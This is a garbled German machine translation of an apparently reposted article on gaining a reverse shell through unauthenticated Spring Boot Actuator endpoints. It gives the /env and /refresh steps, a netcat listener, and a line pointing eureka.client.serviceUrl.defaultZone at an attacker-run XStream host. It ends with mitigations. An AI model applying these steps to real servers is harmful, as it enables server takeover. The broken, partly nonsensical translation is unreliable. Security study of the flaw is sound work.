Heim > Artikel > Betrieb und Instandhaltung > Beispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell
Der Abteilungsleiter hat diese Schwachstelle in einem bestimmten Quellcode ausgegraben, also habe ich eine lokale Umgebung eingerichtet aus.
Actuator ist ein von Springboot bereitgestelltes Funktionsmodul zur Introspektion und Überwachung von Anwendungssystemen. Mit Hilfe von Actuator können Entwickler auf einfache Weise Statistiken zu bestimmten Überwachungsindikatoren des Anwendungssystems anzeigen und sammeln. Wenn Actuator aktiviert ist und relevante Berechtigungen nicht kontrolliert werden, können illegale Benutzer durch Zugriff auf die Standard-Actor-Endpunkte Überwachungsinformationen im Anwendungssystem erhalten, was zu Informationslecks oder sogar zur Serverübernahme führt.
Actuator ist ein von Spring Boot bereitgestelltes Funktionsmodul, das zur Introspektion und Überwachung von Anwendungssystemen verwendet werden kann. Die bereitgestellten Executor-Endpunkte sind in zwei Kategorien unterteilt: native Endpunkte und benutzerdefinierte Erweiterungsendpunkte.
Verwenden Sie Zuordnungen, um nicht autorisierte Schnittstellen zu finden.
# 🎜🎜##🎜🎜 #Vulnerability Discovery
Zum Beispiel beim Testen des Front-End-JSON-Fehlerberichts und den Paketnamen preisgeben, verwenden Sie Netflix# 🎜🎜#
Erfordert die folgenden zwei Paketespring-cloud-starter-netflix-eureka-client (funktionale Abhängigkeit)
Wenn Sie Python3 zum Starten des Skripts verwenden, müssen Sie auf zwei achten Stellenweise ist einer die IP und der Port der empfangenden Shell und der andere der Start unseres Skript-Ports,
#🎜 🎜#
Nc lauscht an einem Port, um Rebound-Shells zu empfangen,#🎜 🎜#Schreiben Sie die Konfiguration, greifen Sie auf den /env-Endpunkt zu, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Den Post-Inhalt ist (die IP ist die IP der Maschine, die vom Skript gestartet wurde):
eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
Dann besuchen Sie /refresh, erfassen Sie das Paket und ändern Sie die Get-Anfrage in eine Post-Anfrage. Die Post-Daten sind willkürlich,
Dann können wir in unserem NC-Fenster sehen, dass eine Granate erfolgreich zurückgeprallt ist.
Als Sicherheitshund können Sie nicht einfach die Spring-Boot-Starter-Sicherheitsabhängigkeit unter dem POM des Projekts einführen, das Zugriffskontokennwort konfigurieren. und starten Sie die Anwendung neu, um das Popup zu starten.
org.springframework.boot spring-boot-starter-security Um die Schnittstelle zu deaktivieren, können Sie sie wie folgt festlegen (z. B. die Env-Schnittstelle deaktivieren):
endpoints.env.enabled= false
FrageAusländer sagen, dass sie ausführen können SQL-Anweisungen und stellen fest, dass sie nicht ausgeführt werden können. Es ist nicht korrekt. Ich habe einen Screenshot davon gemacht und hoffe, dass jemand, der es erfolgreich implementiert hat, es teilen kann.
In der tatsächlichen Umgebung gibt es viele Probleme ohne Aktualisierung, was dazu führt, dass Befehle nicht ausgeführt werden können. Es gab noch keinen Durchbruch
Das obige ist der detaillierte Inhalt vonBeispielanalyse des unbefugten Zugriffs von Spring Boot Actuator auf getshell. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!